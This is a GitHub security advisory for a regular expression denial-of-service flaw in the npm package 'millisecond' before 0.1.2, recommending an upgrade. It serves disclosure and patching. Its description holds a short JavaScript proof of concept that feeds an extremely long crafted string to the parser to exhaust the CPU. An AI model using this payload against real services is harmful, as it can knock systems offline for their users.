GitHub Advisoryadvisory · npm

GHSA-m489-xr35-fjxr Regular Expression Denial of Service in millisecond

MEDIUM Published 2021-09-22 Modified 2021-09-22 Official page ↗
Ecosystem
npm
Packages
millisecond
Severity
Moderate
Weaknesses
CWE-1333, CWE-400
Reviewed
2021-09-22

Affected packages

• npm millisecond: < 0.1.2 → fixed in 0.1.2

Description

Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. Proof of concept ``` var ms = require('millisecond'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` Recommendation Update to version 0.1.2 or later.

Related

Weakness · CWE (2)

  • CWE-1333 Inefficient Regular Expression Complexity weakness
  • CWE-400 Uncontrolled Resource Consumption weakness

References